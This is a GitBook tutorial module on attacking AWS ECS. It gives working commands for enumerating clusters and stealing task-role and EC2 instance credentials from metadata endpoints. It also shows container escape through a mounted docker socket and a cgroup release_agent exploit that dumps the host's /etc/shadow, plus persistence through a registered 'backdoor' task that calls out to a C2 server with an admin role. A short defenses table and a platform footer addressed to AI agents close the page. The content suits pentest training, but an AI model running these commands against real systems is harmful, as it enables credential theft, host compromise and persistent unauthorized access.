> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/aws-pentesting/modules/08-ecs.md).

# Module 08 — ECS & Container Escape

## 🎯 What You'll Learn

* How ECS task credentials work and how to steal them
* How to escape container environments to reach the host
* How to abuse ECS task IAM roles
* How Fargate vs EC2 launch types differ for attackers

***

## 📖 Theory

ECS (Elastic Container Service) runs Docker containers on AWS. Each task can have an **IAM task role** — credentials are injected via a local endpoint similar to EC2 metadata.

**ECS on EC2**: Containers run on EC2 instances. If you escape the container, you reach the underlying host and can steal the EC2 instance profile credentials.

**ECS on Fargate**: Serverless containers. No underlying EC2 host to escape to, but the task role credentials are still accessible from inside the container.

***

## 🔍 Phase 1 — Enumerate ECS from Outside

```bash
# List all ECS clusters
aws ecs list-clusters --profile pentest

# List services in a cluster
aws ecs list-services \
  --cluster prod-cluster \
  --profile pentest

# List running tasks
aws ecs list-tasks \
  --cluster prod-cluster \
  --profile pentest

# Get task details (includes task role ARN)
aws ecs describe-tasks \
  --cluster prod-cluster \
  --tasks TASK-ARN \
  --profile pentest

# Get task definition (includes env vars and role)
aws ecs describe-task-definition \
  --task-definition app-task:1 \
  --profile pentest

# Check for env vars with secrets
aws ecs describe-task-definition \
  --task-definition app-task \
  --query 'taskDefinition.containerDefinitions[*].environment' \
  --profile pentest
```

***

## 💥 Phase 2 — Steal ECS Task Credentials (From Inside Container)

If you have code execution inside an ECS container:

```bash
# The credentials endpoint is set in an environment variable
echo $AWS_CONTAINER_CREDENTIALS_RELATIVE_URI
# Example: /v2/credentials/a1b2c3d4-...

# Get task credentials
curl "http://169.254.170.2${AWS_CONTAINER_CREDENTIALS_RELATIVE_URI}"

# Returns:
# {
#   "AccessKeyId": "ASIA...",
#   "SecretAccessKey": "xxxx...",
#   "Token": "IQoJ...",
#   "RoleArn": "arn:aws:iam::123456789012:role/ecsTaskRole",
#   "Expiration": "..."
# }
```

***

## 💥 Phase 3 — Container Escape (ECS on EC2)

### Check for privileged mode

```bash
# Inside the container, check if you're privileged
cat /proc/1/status | grep CapEff
# If all 1s → you're likely running privileged

# Check for docker socket
ls -la /var/run/docker.sock  # if present → you can control Docker on host

# If Docker socket is accessible
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
# Now you have host root filesystem!
```

### Mount the host filesystem

```bash
# Check if host filesystem is mounted
mount | grep "/ type"
ls /proc/1/root  # access host's root from container

# Access EC2 metadata from container (EC2 launch type)
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
# → Gives EC2 instance role creds (often more powerful than task role)
```

### Escape via cgroups (if privileged)

```bash
# Privileged container escape via cgroup release_agent
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp
mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "cat /etc/shadow > $host_path/output" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
cat /output  # shadow file from host
```

***

## 🔍 Phase 4 — ECS Persistence

```bash
# Register a backdoor task definition
aws ecs register-task-definition \
  --family backdoor \
  --task-role-arn arn:aws:iam::123456789012:role/AdminRole \
  --network-mode awsvpc \
  --container-definitions '[{
    "name": "backdoor",
    "image": "alpine",
    "command": ["sh", "-c", "curl https://your-c2-server/"],
    "essential": true
  }]' \
  --profile pentest

# Run the backdoor task
aws ecs run-task \
  --cluster prod-cluster \
  --task-definition backdoor \
  --profile pentest
```

***

## 🛡️ Defenses

| Attack                      | Defense                                               |
| --------------------------- | ----------------------------------------------------- |
| Steal task credentials      | Least-privilege task roles; short expiry              |
| Docker socket mount         | Never mount /var/run/docker.sock in containers        |
| Privileged containers       | Disable privileged mode; use seccomp/AppArmor         |
| EC2 metadata from container | Block 169.254.169.254 at network level for containers |

***

## 📎 References

* [HackTricks ECS](https://cloud.hacktricks.xyz/pentesting-cloud/aws-pentesting/aws-ecs-ecr-attack)
* [Container Escape Techniques](https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation)


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://alham-rizvi.gitbook.io/alhamrizvi/aws-pentesting/modules/08-ecs.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
